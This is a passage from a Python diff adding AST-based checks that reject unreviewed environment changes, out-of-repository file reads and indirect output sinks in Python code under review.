ast.DictComp) and len(base.generators) == 1: + generator = base.generators[0] + allowlist_name = None + if ( + isinstance(generator.iter, ast.Call) + and python_dotted_name(generator.iter.func) == "os.environ.items" + and len(generator.target.elts) == 2 + and isinstance(generator.target.elts[0], ast.Name) + and isinstance(generator.target.elts[1], ast.Name) + and isinstance(base.key, ast.Name) + and base.key.id == generator.target.elts[0].id + and isinstance(base.value, ast.Name) + and base.value.id == generator.target.elts[1].id + ): + allowlist_name = "reviewed_child_environment_names" + elif ( + isinstance(generator.iter, ast.Name) + and generator.iter.id == "git_child_environment_names" + and isinstance(generator.target, ast.Name) + and isinstance(base.key, ast.Name) + and base.key.id == generator.target.id + and isinstance(base.value, ast.Subscript) + and python_dotted_name(base.value.value) == "os.environ" + and isinstance(base.value.slice, ast.Name) + and base.value.slice.id == generator.target.id + ): + allowlist_name = "git_child_environment_names" + if allowlist_name is None: + return False + allowlist_assignments = [ + candidate.value for candidate in ast.walk(tree) + if isinstance(candidate, ast.Assign) + and python_enclosing_scope(candidate, parents) is python_enclosing_scope(base, parents) + and any(isinstance(target, ast.Name) and target.id == allowlist_name for target in candidate.targets) + ] + if len(allowlist_assignments) != 1: + return False + try: + allowlist = ast.literal_eval(allowlist_assignments[0]) + except (ValueError, TypeError, SyntaxError, RecursionError): + return False + if not isinstance(allowlist, (set, tuple, list)) or any( + not isinstance(name, str) or name.startswith("GIT_CONFIG_") + for name in allowlist + ): + return False + if allowlist_name == "git_child_environment_names" and set(allowlist) != {"PATH", "LANG", "LC_ALL"}: + return False + if allowlist_name == "reviewed_child_environment_names" and not any( + isinstance(candidate, ast.Compare) + and isinstance(candidate.left, ast.Name) + and candidate.left.id == generator.target.elts[0].id + and any(isinstance(operator, ast.In) for operator in candidate.ops) + and any(isinstance(value, ast.Name) and value.id == allowlist_name for value in candidate.comparators) + for condition in generator.ifs for candidate in ast.walk(condition) + ): + return False + if allowlist_name == "git_child_environment_names" and not any( + isinstance(candidate, ast.Compare) + and isinstance(candidate.left, ast.Name) + and candidate.left.id == generator.target.id + and any(isinstance(operator, ast.In) for operator in candidate.ops) + and isinstance(candidate.comparators[0], ast.Attribute) + and python_dotted_name(candidate.comparators[0]) == "os.environ" + for condition in generator.ifs for candidate in ast.walk(condition) + if isinstance(candidate, ast.Compare) and candidate.comparators + ): + return False + else: + return False + for candidate in ast.walk(tree): + if python_enclosing_scope(candidate, parents) is not scope: + continue + if isinstance(candidate, ast.Call) and isinstance(candidate.func, ast.Attribute) and isinstance(candidate.func.value, ast.Name) and candidate.func.value.id == node.id: + if candidate.func.attr != "update" or len(candidate.args) != 1 or candidate.keywords: + return False + try: + update = ast.literal_eval(candidate.args[0]) + except (ValueError, TypeError, SyntaxError, RecursionError): + return False + if not isinstance(update, dict): + return False + config_values.update({ + key: value for key, value in update.items() + if isinstance(key, str) and key.startswith("GIT_") + }) + if isinstance(candidate, (ast.Assign, ast.AnnAssign, ast.AugAssign)): + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + if any( + isinstance(target, ast.Subscript) + and isinstance(target.value, ast.Name) + and target.value.id == node.id + for target in targets + ): + return False + if isinstance(candidate, ast.Delete) and any( + isinstance(target, ast.Subscript) + and isinstance(target.value, ast.Name) + and target.value.id == node.id + for target in candidate.targets + ): + return False + return python_git_environment_values_are_isolated(config_values) + + +def python_child_environment_violation(tree, modules, functions, parents=None): + """Reject unreviewed PATH changes before Python child argv approval.""" + if parents is None: + parents = {} + for node in ast.walk(tree): + if isinstance(node, (ast.Assign, ast.AnnAssign, ast.AugAssign)): + targets = node.targets if isinstance(node, ast.Assign) else [node.target] + for target in targets: + if not isinstance(target, ast.Subscript): + continue + if python_dotted_name(target.value) != "os.environ": + continue + key = target.slice.value if isinstance(target.slice, ast.Constant) else None + if key == "PATH" and not python_path_value_allowed(node.value): + return ( + "Python child environment changes PATH outside the reviewed " + f"path set on line {node.lineno}" + ) + if not isinstance(node, ast.Call): + continue + dotted = python_dotted_name(node.func) + if dotted == "os.putenv" and node.args: + key = node.args[0].value if isinstance(node.args[0], ast.Constant) else None + if key == "PATH" and (len(node.args) < 2 or not python_path_value_allowed(node.args[1])): + return ( + "Python child environment changes PATH through os.putenv " + f"on line {node.lineno}" + ) + if dotted == "os.environ.update" and node.args: + if python_environment_mapping_state( + node.args[0], tree, parents=parents + ) == "unsafe": + return ( + "Python child environment mapping for os.environ.update is not safe " + f"on line {node.lineno}" + ) + resolved = python_resolved_name(node.func, modules, functions) + if resolved not in python_command_functions: + continue + if resolved == "run_go_child": + continue + for keyword in node.keywords: + if keyword.arg != "env": + continue + argument = python_command_argument(node) + if ( + isinstance(argument, (ast.List, ast.Tuple)) + and argument.elts + and isinstance(argument.elts[0], ast.Constant) + and argument.elts[0].value == "git" + ): + fixture_value = [] + for element in argument.elts: + if isinstance(element, ast.Constant) and isinstance(element.value, str): + fixture_value.append(element.value) + elif ( + isinstance(element, ast.Call) + and python_dotted_name(element.func) == "str" + and len(element.args) == 1 + and not element.keywords + ): + fixture_value.append("") + else: + fixture_value.append(None) + if reviewed_python_synthetic_git_fixture( + node, fixture_value, tree, parents + ): + continue + if ( + isinstance(argument, ast.Name) + and reviewed_python_static_loop_binding(argument, tree) + ): + continue + if ( + isinstance(argument, (ast.List, ast.Tuple)) + and argument.elts + and isinstance(argument.elts[0], ast.Constant) + and argument.elts[0].value == "/bin/bash" + and reviewed_python_synthetic_shell_input( + node, ["/bin/bash"], tree, parents + ) + ): + continue + if python_environment_mapping_state( + keyword.value, tree, parents=parents + ) != "safe": + return ( + "Python child launcher has an unknown or unreviewed environment " + f"keyword on line {node.lineno}" + ) + return None + + +python_reviewed_read_path_prefixes = ( + "docs/", + "experiments/", + ".github/", + "README", + "go.mod", + "go.sum", +) +python_reviewed_read_path_exact_paths = { + "scripts/evidence_packet/issue79_regression_test.py", +} +python_reviewed_read_path_names = { + "path", + "source", + "source_path", + "packet", + "packet_path", + "current_packet", + "parent_packet", + "probe", + "marker", + "name", + "package_dir", + "repo_root", + "module_dir", + "relative_path", + "directory", +} + +# These are the only helper parameters whose path provenance is reviewed by +# this packet. All other function parameters, including path-like names, are +# rejected unless the function body assigns them from a reviewed path value. +python_reviewed_read_path_parameters = { + ("assignment", "path"), + ("git_worktree_matches_pinned_blobs", "repo_root"), + ("git_worktree_matches_pinned_blobs", "relative_path"), + ("source_fuzz_declarations", "source_path"), + ("source_test_names", "source_path"), +} + + +def python_unassigned_path_parameter(node, parents): + """Recognize a function parameter that has no reviewed assignment.""" + if not isinstance(node, ast.Name): + return False + current = node + while current is not None: + if isinstance(current, (ast.FunctionDef, ast.AsyncFunctionDef)): + arguments = ( + list(current.args.posonlyargs) + + list(current.args.args) + + list(current.args.kwonlyargs) + ) + return any(argument.arg == node.id for argument in arguments) + current = parents.get(current) + return False + + +def python_reviewed_read_path_parameter(node, tree, parents): + """Permit only named helper parameters with explicit packet provenance.""" + if not python_unassigned_path_parameter(node, parents): + return False + current = node + while current is not None and not isinstance( + current, (ast.FunctionDef, ast.AsyncFunctionDef) + ): + current = parents.get(current) + if current is None: + return False + return (current.name, node.id) in python_reviewed_read_path_parameters + + +def python_reviewed_markdown_file_value(node, tree, parents=None): + """Prove the link checker Path(name) value came from isolated Git output.""" + if not ( + isinstance(node, ast.Call) + and python_dotted_name(node.func) in {"Path", "pathlib.Path"} + and len(node.args) == 1 + and not node.keywords + and isinstance(node.args[0], ast.Name) + and node.args[0].id == "name" + ): + return False + if parents is None: + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + scope = python_enclosing_scope(node, parents) + files_assignments = [] + for candidate in ast.walk(tree): + if not isinstance(candidate, (ast.Assign, ast.AnnAssign)): + continue + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + if python_enclosing_scope(candidate, parents) is not scope: + continue + if any( + isinstance(target, ast.Name) and target.id == "files" + for target in targets + ): + files_assignments.append(candidate) + if len(files_assignments) != 1: + return False + value = files_assignments[0].value + if not ( + isinstance(value, ast.Call) + and isinstance(value.func, ast.Attribute) + and value.func.attr == "splitlines" + and not value.args + and not value.keywords + ): + return False + query = value.func.value + if not ( + isinstance(query, ast.Call) + and python_dotted_name(query.func) == "subprocess.check_output" + and query.args + and len(query.args) == 1 + and reviewed_python_git_child_environment(query, tree, parents) + ): + return False + builder = query.args[0] + if not ( + isinstance(builder, ast.Call) + and python_dotted_name(builder.func) == "git_command" + and len(builder.args) == 1 + and not builder.keywords + and isinstance(builder.args[0], (ast.List, ast.Tuple)) + and [ + item.value for item in builder.args[0].elts + if isinstance(item, ast.Constant) + ] == ["ls-files", "--", "*.md"] + and reviewed_python_git_command_origin(builder, tree, parents) + ): + return False + files_targets = ( + files_assignments[0].targets + if isinstance(files_assignments[0], ast.Assign) + else [files_assignments[0].target] + ) + if not ( + len(files_targets) == 1 + and isinstance(files_targets[0], ast.Name) + and files_targets[0].id == "files" + ): + return False + source_loops = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.For) + and isinstance(candidate.target, ast.Name) + and candidate.target.id == "name" + and isinstance(candidate.iter, ast.Name) + and candidate.iter.id == "files" + and python_enclosing_scope(candidate, parents) is scope + and any(current is candidate for current in _python_parent_chain(node, parents)) + ] + if len(source_loops) != 1: + return False + source_loop = source_loops[0] + files_names = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == "files" + ] + name_stores = [ + candidate + for candidate in ast.walk(tree) + if isinstance(candidate, ast.Name) + and candidate.id == "name" + and isinstance(candidate.ctx, (ast.Store, ast.Del)) + ] + return ( + len(files_names) == 2 + and files_targets[0] in files_names + and source_loop.iter in files_names + and len(name_stores) == 1 + and name_stores[0] is source_loop.target + ) + + +def python_reviewed_markdown_source_path(node, tree, parents): + """Allow tracked Markdown reads only after rejecting symlink/path escapes.""" + if not isinstance(node, ast.Name) or node.id != "source_path": + return False + scope = python_enclosing_scope(node, parents) + source_loops = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.For) + and isinstance(candidate.target, ast.Name) + and candidate.target.id == "name" + and isinstance(candidate.iter, ast.Name) + and candidate.iter.id == "files" + and python_enclosing_scope(candidate, parents) is scope + and any(current is candidate for current in _python_parent_chain(node, parents)) + ] + if len(source_loops) != 1: + return False + source_loop = source_loops[0] + + def inside_source_loop(candidate): + return any( + current is source_loop + for current in _python_parent_chain(candidate, parents) + ) + + source_assignments = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Assign) + and python_enclosing_scope(candidate, parents) is scope + and inside_source_loop(candidate) + and any( + isinstance(target, ast.Name) and target.id == "source" + for target in candidate.targets + ) + ] + path_assignments = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Assign) + and python_enclosing_scope(candidate, parents) is scope + and inside_source_loop(candidate) + and any( + isinstance(target, ast.Name) and target.id == "source_path" + for target in candidate.targets + ) + ] + root_assignments = [ + candidate for candidate in ast.walk(tree) + if isinstance(candidate, ast.Assign) + and any( + isinstance(target, ast.Name) and target.id == "repository_root" + for target in candidate.targets + ) + ] + root_binding_nodes = [] + for candidate in ast.walk(tree): + if ( + isinstance(candidate, ast.Name) + and candidate.id == "repository_root" + and isinstance(candidate.ctx, (ast.Store, ast.Del)) + ) or ( + isinstance(candidate, ast.arg) + and candidate.arg == "repository_root" + ) or ( + isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) + and candidate.name == "repository_root" + ) or ( + isinstance(candidate, ast.ExceptHandler) + and candidate.name == "repository_root" + ) or ( + isinstance(candidate, (ast.MatchAs, ast.MatchStar)) + and candidate.name == "repository_root" + ) or ( + isinstance(candidate, ast.MatchMapping) + and candidate.rest == "repository_root" + ) or ( + isinstance(candidate, (ast.Global, ast.Nonlocal)) + and "repository_root" in candidate.names + ): + root_binding_nodes.append(candidate) + elif isinstance(candidate, ast.Import) and any( + (alias.asname or alias.name.split(".", 1)[0]) == "repository_root" + for alias in candidate.names + ): + root_binding_nodes.append(candidate) + elif isinstance(candidate, ast.ImportFrom) and any( + (alias.asname or alias.name) == "repository_root" + for alias in candidate.names + ): + root_binding_nodes.append(candidate) + root_assignment_target = ( + root_assignments[0].targets[0] + if len(root_assignments) == 1 + and len(root_assignments[0].targets) == 1 + else None + ) + if not ( + len(source_assignments) == 1 + and isinstance(source_assignments[0].value, ast.Call) + and python_reviewed_markdown_file_value( + source_assignments[0].value, tree, parents + ) + and len(path_assignments) == 1 + and isinstance(path_assignments[0].value, ast.Call) + and isinstance(path_assignments[0].value.func, ast.Attribute) + and path_assignments[0].value.func.attr == "resolve" + and not path_assignments[0].value.args + and not path_assignments[0].value.keywords + and isinstance(path_assignments[0].value.func.value, ast.BinOp) + and isinstance(path_assignments[0].value.func.value.op, ast.Div) + and isinstance(path_assignments[0].value.func.value.left, ast.Name) + and path_assignments[0].value.func.value.left.id == "repository_root" + and isinstance(path_assignments[0].value.func.value.right, ast.Name) + and path_assignments[0].value.func.value.right.id == "source" + and isinstance(root_assignment_target, ast.Name) + and root_assignment_target.id == "repository_root" + and root_binding_nodes == [root_assignment_target] + and isinstance(root_assignments[0].value, ast.Call) + and ast.dump(root_assignments[0].value, include_attributes=False) + == ast.dump(ast.parse("Path.cwd().resolve()", mode="eval").body, include_attributes=False) + ): + return False + if any( + isinstance(candidate, ast.Name) + and candidate.id == "source_path" + and isinstance(candidate.ctx, ast.Store) + and candidate is not next( + name for name in ast.walk(path_assignments[0]) + if isinstance(name, ast.Name) and name.id == "source_path" + ) + for candidate in ast.walk(tree) + ): + return False + read_position = (node.lineno, node.col_offset) + + def finishes_before_read(candidate): + return ( + candidate.end_lineno, + candidate.end_col_offset, + ) < read_position + + def has_continue(node): + return any(isinstance(child, ast.Continue) for child in node.body) + + safe_path_guards = [ + candidate for candidate in ast.walk(source_loop) + if isinstance(candidate, ast.If) + and parents.get(candidate) is source_loop + and finishes_before_read(candidate) + and any(isinstance(statement, ast.Continue) for statement in candidate.body) + ] + lexical_guard = False + symlink_guard = False + for candidate in safe_path_guards: + test = candidate.test + if ( + isinstance(test, ast.BoolOp) + and isinstance(test.op, ast.Or) + and len(test.values) == 2 + and isinstance(test.values[0], ast.Call) + and python_dotted_name(test.values[0].func) == "source.is_absolute" + and not test.values[0].args + and not test.values[0].keywords + and isinstance(test.values[1], ast.Compare) + and isinstance(test.values[1].left, ast.Constant) + and test.values[1].left.value == ".." + and len(test.values[1].ops) == 1 + and isinstance(test.values[1].ops[0], ast.In) + and isinstance(test.values[1].comparators[0], ast.Attribute) + and test.values[1].comparators[0].attr == "parts" + and isinstance(test.values[1].comparators[0].value, ast.Name) + and test.values[1].comparators[0].value.id == "source" + ): + lexical_guard = True + if ( + isinstance(test, ast.Call) + and python_dotted_name(test.func) == "source.is_symlink" + and not test.args + and not test.keywords + ): + symlink_guard = True + containment_guard = any( + isinstance(candidate, ast.Try) + and finishes_before_read(candidate) + and any( + isinstance(statement, ast.Expr) + and isinstance(statement.value, ast.Call) + and python_dotted_name(statement.value.func) == "source_path.relative_to" + and len(statement.value.args) == 1 + and isinstance(statement.value.args[0], ast.Name) + and statement.value.args[0].id == "repository_root" + for statement in candidate.body + ) + and any( + isinstance(handler.type, ast.Name) + and handler.type.id == "ValueError" + and has_continue(handler) + for handler in candidate.handlers + ) + and not python_try_in_unreachable_if_body(candidate, parents) + for candidate in ast.walk(source_loop) + ) + return lexical_guard and symlink_guard and containment_guard + + +def python_reviewed_read_path(node, tree, parents, seen=None): + """Allow reads only from reviewed repository or owned temporary paths.""" + if seen is None: + seen = set() + if node is None or id(node) in seen: + return False + seen.add(id(node)) + if temporary_path_expression(node, tree, parents): + return True + if isinstance(node, ast.Constant) and isinstance(node.value, str): + value = node.value.replace("\\", "/") + if value in python_reviewed_read_path_exact_paths: + return True + return ( + not value.startswith("/") + and ".." not in value.split("/") + and value.startswith(python_reviewed_read_path_prefixes) + ) + if isinstance(node, ast.Name): + assignments = [] + scope = python_enclosing_scope(node, parents) + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets = candidate.targets + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets = [candidate.target] + else: + continue + if python_enclosing_scope(candidate, parents) is not scope: + continue + if any( + isinstance(target, ast.Name) and target.id == node.id + for target in targets + ): + assignments.append(candidate.value) + if assignments: + return all( + python_reviewed_read_path(value, tree, parents, set(seen)) + for value in assignments + ) + if python_reviewed_read_path_parameter(node, tree, parents): + return True + return False + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Div): + return ( + python_reviewed_read_path(node.left, tree, parents, seen) + and ( + ( + isinstance(node.right, ast.Constant) + and isinstance(node.right.value, str) + and not node.right.value.replace("\\", "/").startswith( + ("/", "~", "$HOME", "${HOME}", "$home", "${home}") + ) + and ".." not in node.right.value.replace("\\", "/").split("/") + ) + or ( + isinstance(node.right, ast.Name) + and node.right.id in python_reviewed_read_path_names + ) + ) + ) + if isinstance(node, ast.Call): + if python_dotted_name(node.func) in {"Path", "pathlib.Path"} and len(node.args) == 1 and not node.keywords: + if python_reviewed_markdown_file_value(node, tree): + return True + return python_reviewed_read_path(node.args[0], tree, parents, seen) + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr in {"resolve", "absolute"} + and not node.args + and not node.keywords + ): + receiver = node.func.value + if ( + isinstance(receiver, ast.BinOp) + and isinstance(receiver.op, ast.Div) + and all( + isinstance(part, ast.Name) + and part.id in python_reviewed_read_path_names + for part in (receiver.left, receiver.right) + ) + ): + return True + return python_reviewed_read_path(receiver, tree, parents, seen) + return False + + +python_sensitive_sink_methods = { + "write", + "writelines", + "write_text", + "write_bytes", + "dump", + "dumps", + "error", + "exception", + "critical", + "warning", + "warn", + "info", + "debug", + "log", + "displayhook", + "excepthook", +} + + +def python_sensitive_sink_storage_violation(tree, parents): + """Reject output methods hidden in containers or other indirect holders.""" + for node in ast.walk(tree): + if not ( + isinstance(node, ast.Attribute) + and node.attr.casefold() in python_sensitive_sink_methods + ): + continue + parent = parents.get(node) + if isinstance(parent, ast.Call) and parent.func is node: + continue + if isinstance(parent, ast.ExceptHandler) and parent.type is node: + continue + if isinstance(parent, ast.Assign) and parent.value is node and all( + isinstance(target, ast.Name) for target in parent.targets + ): + continue + if isinstance(parent, (ast.AnnAssign, ast.NamedExpr)) and parent.value is node and isinstance( + parent.target, ast.Name + ): + continue + return f"Python heredoc stores an output sink method in an unreviewed holder on line {node.lineno}" + for node in ast.walk(tree): + if not isinstance(node, ast.Name) or not isinstance(node.ctx, ast.Load): + continue + probe = ast.Call(func=node, args=[], keywords=[]) + if not python_sensitive_output_sink(probe, tree): + continue + parent = parents.get(node) + if isinstance(parent, ast.Call) and parent.func is node: + continue + if isinstance(parent, ast.Assign) and parent.value is node and len( + parent.targets + ) == 1 and isinstance(parent.targets[0], ast.Name): + continue + if isinstance(parent, (ast.AnnAssign, ast.NamedExpr)) and parent.value is node and isinstance( + parent.target, ast.Name + ): + continue + return f"Python heredoc stores an imported output sink in an unreviewed holder on line {node.lineno}" + return None + + +def python_path_method_alias_visible(name, method, node, tree, parents): + """Resolve Path.home/Path.cwd aliases in lexical scope, respecting shadows.""" + bindings = getattr(tree, "_issue79_path_method_bindings", None) + if bindings is None: + bindings = {} + + def bind(scope, alias, value, source): + bindings.setdefault((id(scope), alias), []).append((source, value)) + + def target_names(target): + if isinstance(target, ast.Name): + return [target.id] + if isinstance(target, (ast.Tuple, ast.List)): + return [name for item in target.elts for name in target_names(item)] + return [] + + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + elif isinstance(candidate, (ast.For, ast.AsyncFor, ast.comprehension)): + targets, value = [candidate.target], candidate.iter + else: + targets, value = [], None + if targets: + scope = python_enclosing_scope(candidate, parents) + for target in targets: + for alias in target_names(target): + bind(scope, alias, value, candidate) + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)): + scope = python_enclosing_scope(parents.get(candidate), parents) + bind(scope, candidate.name, None, candidate) + if isinstance(candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + positional = list(candidate.args.posonlyargs) + list(candidate.args.args) + default_offset = len(positional) - len(candidate.args.defaults) + for index, argument in enumerate(positional): + default = ( + candidate.args.defaults[index - default_offset] + if index >= default_offset + else None + ) + bind(candidate, argument.arg, default, candidate) + for argument, default in zip( + candidate.args.kwonlyargs, candidate.args.kw_defaults + ): + bind(candidate, argument.arg, default, candidate) + for argument in (candidate.args.vararg, candidate.args.kwarg): + if argument is not None: + bind(candidate, argument.arg, None, candidate) + if isinstance(candidate, ast.Import): + scope = python_enclosing_scope(candidate, parents) + for imported in candidate.names: + bind( + scope, + imported.asname or imported.name.split(".")[0], + None, + candidate, + ) + elif isinstance(candidate, ast.ImportFrom): + scope = python_enclosing_scope(candidate, parents) + for imported in candidate.names: + bind(scope, imported.asname or imported.name, None, candidate) + tree._issue79_path_method_bindings = bindings + + path_aliases = getattr(tree, "_issue79_path_constructor_aliases", None) + if path_aliases is None: + path_aliases = python_path_constructor_aliases(tree) + tree._issue79_path_constructor_aliases = path_aliases + def binding_is_conditional(source, scope): + current = source + while current is not None and current is not scope: + current = parents.get(current) + if isinstance( + current, + ( + ast.If, + ast.For, + ast.AsyncFor, + ast.While, + ast.Try, + ast.ExceptHandler, + ast.IfExp, + ast.BoolOp, + ast.comprehension, + ), + ) or isinstance(current, (ast.Match, ast.match_case)): + return True + return False + + def resolves_expression(value, scope, seen): + if isinstance(value, ast.Name): + for visible_scope in python_lexical_scope_chain(scope, parents): + if (id(visible_scope), value.id) not in bindings: + continue + return resolves_name( + visible_scope, value.id, seen + ) + return python_path_method_reference(value, method, tree) + + def resolves_name(visible_scope, alias, seen): + key = (id(visible_scope), alias) + if key in seen: + return False + entries = bindings.get(key, ()) + if not entries: + return False + ordered = sorted( + entries, + key=lambda entry: ( + getattr(entry[0], "lineno", -1), + getattr(entry[0], "col_offset", -1), + ), + ) + definite = [ + entry + for entry in ordered + if not binding_is_conditional(entry[0], visible_scope) + ] + base = definite[-1] if definite else None + next_seen = seen | {key} + if ( + base is not None + and base[1] is not None + and resolves_expression(base[1], visible_scope, next_seen) + ): + return True + base_position = ordered.index(base) if base is not None else -1 + return any( + bound_expression is not None + and resolves_expression(bound_expression, visible_scope, next_seen) + for index, (source, bound_expression) in enumerate(ordered) + if index > base_position + and binding_is_conditional(source, visible_scope) + ) + + scope = python_enclosing_scope(node, parents) + for visible_scope in python_lexical_scope_chain(scope, parents): + key = (id(visible_scope), name) + if key not in bindings: + continue + return resolves_name(visible_scope, name, set()) + return False + + +def python_path_method_reference(value, method, tree): + """Recognize direct or static getattr references to Path.home/Path.cwd.""" + path_aliases = getattr(tree, "_issue79_path_constructor_aliases", None) + if path_aliases is None: + path_aliases = python_path_constructor_aliases(tree) + tree._issue79_path_constructor_aliases = path_aliases + module_aliases, constructor_aliases = path_aliases + + def is_path_constructor(expression): + return ( + isinstance(expression, ast.Name) + and expression.id in constructor_aliases + ) or ( + isinstance(expression, ast.Attribute) + and expression.attr == "Path" + and isinstance(expression.value, ast.Name) + and expression.value.id in module_aliases + ) + + if isinstance(value, ast.Attribute) and value.attr == method: + return method in {"resolve", "absolute"} or is_path_constructor(value.value) + if isinstance(value, ast.NamedExpr): + return python_path_method_reference(value.value, method, tree) + if isinstance(value, ast.Call): + is_getattr = python_dotted_name(value.func) == "getattr" or ( + isinstance(value.func, ast.Name) + and python_assigned_callable_alias(value.func.id, "getattr", tree) + ) + return ( + is_getattr + and len(value.args) in {2, 3} + and (method in {"resolve", "absolute"} or is_path_constructor(value.args[0])) + and method in python_static_string_values(value.args[1], tree) + ) + return False + + +def python_path_method_expression_visible(value, method, node, tree, parents): + """Resolve direct and aliased Path methods at an output call site.""" + if isinstance(value, ast.Name): + return python_path_method_alias_visible( + value.id, method, node, tree, parents + ) + return python_path_method_reference(value, method, tree) + + +def python_resolved_local_path_expression( + node, + tree, + parents, + assignments_by_name, + seen=None, +): + """Track resolved local paths into output sinks without rejecting checks. + + A node needs expansion only once per sink: sharing the visited set across + branches avoids exponential revisits through local-helper return cycles. + """ + if node is None: + return False + if seen is None: + seen = set() + if id(node) in seen: + return False + seen.add(id(node)) + if isinstance(node, ast.Name): + scope = python_enclosing_scope(node, parents) + lexical_scopes = set(python_lexical_scope_chain(scope, parents)) + for assigned_scope, value in assignments_by_name.get(node.id, ()): + if assigned_scope in lexical_scopes and python_resolved_local_path_expression( + value, + tree, + parents, + assignments_by_name, + seen, + ): + return True + return False + if isinstance(node, ast.Call): + dotted = python_dotted_name(node.func) + if dotted in {"os.path.abspath", "os.path.realpath"}: + return True + is_path_home = python_path_method_expression_visible( + node.func, "home", node, tree, parents + ) + is_path_cwd = python_path_method_expression_visible( + node.func, "cwd", node, tree, parents + ) + if is_path_home or is_path_cwd or any( + python_path_method_expression_visible(node.func, method, node, tree, parents) + for method in ("resolve", "absolute") + ): + return True + if dotted == "os.path.expanduser" and node.args: + return any( + value.startswith("~") + for value in python_static_string_values(node.args[0], tree) + ) + if any( + python_resolved_local_path_expression( + value, + tree, + parents, + assignments_by_name, + seen, + ) + for value in python_local_call_return_values(node, tree, parents) + ): + return True + if dotted == "dict" and any( + python_resolved_local_path_expression( + value, tree, parents, assignments_by_name, seen + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ): + return True + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "format" + and any( + python_resolved_local_path_expression( + value, tree, parents, assignments_by_name, seen + ) + for value in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + ): + return True + if isinstance(node.func, ast.Name) and node.func.id in { + "iter", "list", "next", "reversed", "set", "sorted", "tuple" + }: + return any( + python_resolved_local_path_expression( + argument, + tree, + parents, + assignments_by_name, + seen, + ) + for argument in node.args + ) + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "expanduser" + and not node.args + and not node.keywords + ): + receiver = node.func.value + if isinstance(receiver, ast.Call) and receiver.args: + module_aliases, constructor_aliases = python_path_constructor_aliases(tree) + is_path_constructor = ( + isinstance(receiver.func, ast.Name) + and receiver.func.id in constructor_aliases + ) or ( + isinstance(receiver.func, ast.Attribute) + and receiver.func.attr == "Path" + and isinstance(receiver.func.value, ast.Name) + and receiver.func.value.id in module_aliases + ) + if is_path_constructor and any( + value.startswith("~") + for value in python_static_string_values( + receiver.args[0], tree + ) + ): + return True + if ( + isinstance(node.func, ast.Attribute) + and node.func.attr in {"resolve", "absolute"} + ): + return True + path_preserving_calls = { + "ascii", + "format", + "Path", + "pathlib.Path", + "str", + "repr", + "os.fspath", + "os.fsdecode", + "os.path.abspath", + "os.path.realpath", + } + aliased_ascii = ( + isinstance(node.func, ast.Name) + and python_assigned_callable_alias(node.func.id, "ascii", tree) + ) + if dotted not in path_preserving_calls and not aliased_ascii and not ( + isinstance(node.func, ast.Attribute) + and node.func.attr in { + "__fspath__", "__str__", "as_posix", "as_uri", "decode", "encode" + } + ): + return False + return any( + python_resolved_local_path_expression( + child, + tree, + parents, + assignments_by_name, + seen, + ) + for child in ast.iter_child_nodes(node) + if not isinstance( + child, + (ast.expr_context, ast.operator, ast.unaryop, ast.boolop, ast.cmpop), + ) + ) + + +def python_assigned_sink_method_alias(name, tree): + """Track method output sinks after assignment to callable names.""" + python_assigned_callable_alias("", "print", tree) + assignments = getattr(tree, "_issue79_callable_alias_index", {}) + + def sink_method_matches(value, seen): + if isinstance(value, ast.Attribute): + return value.attr.casefold() in python_sensitive_sink_methods + if ( + isinstance(value, ast.Call) + and ( + python_dotted_name(value.func) == "getattr" + or ( + isinstance(value.func, ast.Name) + and python_assigned_callable_alias(value.func.id, "getattr", tree) + ) + ) + and len(value.args) >= 2 + and any( + method.casefold() in python_sensitive_sink_methods + for method in python_static_string_values(value.args[1], tree) + ) + ): + return True + if isinstance(value, ast.Name) and value.id not in seen: + return any( + sink_method_matches(candidate, seen | {value.id}) + for candidate in assignments.get(value.id, ()) + if candidate is not None + ) + return False + + return any( + sink_method_matches(value, {name}) + for value in assignments.get(name, ()) + if value is not None + ) + + +def python_warning_sink_targets(tree): + targets = getattr(tree, "_issue79_warning_sink_targets", None) + if targets is None: + targets = { + name + "." + method + for name in python_assigned_module_names(tree, "warnings") + for method in ("warn", "warn_explicit", "showwarning") + } + targets.update( + name + "." + method + for name in python_assigned_module_names(tree, "sys") + for method in ("displayhook", "excepthook") + ) + tree._issue79_warning_sink_targets = targets + return targets + + +def python_sensitive_output_sink(node, tree=None): + """Recognize output/error sinks without tainting ordinary containers/helpers.""" + if not isinstance(node, ast.Call): + return False + dotted = python_dotted_name(node.func) + warning_targets = python_warning_sink_targets(tree) if tree is not None else set() + if dotted in warning_targets: + return True + if dotted in { + "print", + "sys.exit", + "sys.displayhook", + "sys.excepthook", + "warnings.warn", + "warnings.warn_explicit", + "warnings.showwarning", + "traceback.print_exc", + "traceback.print_exception", + }: + return True + if isinstance(node.func, ast.NamedExpr): + named_value = node.func.value + named_targets = ( + "print", + "builtins.print", + "sys.exit", + "sys.displayhook", + "sys.excepthook", + "warnings.warn", + "warnings.warn_explicit", + "warnings.showwarning", + "traceback.print_exc", + "traceback.print_exception", + ) + named_targets = named_targets + tuple(warning_targets) + if python_dotted_name(named_value) in named_targets: + return True + if ( + isinstance(named_value, ast.Name) + and tree is not None + and ( + any( + python_assigned_callable_alias(named_value.id, target, tree) + for target in named_targets + ) + or python_assigned_sink_method_alias(named_value.id, tree) + or python_sensitive_imported_function_alias(named_value, tree) + ) + ): + return True + if 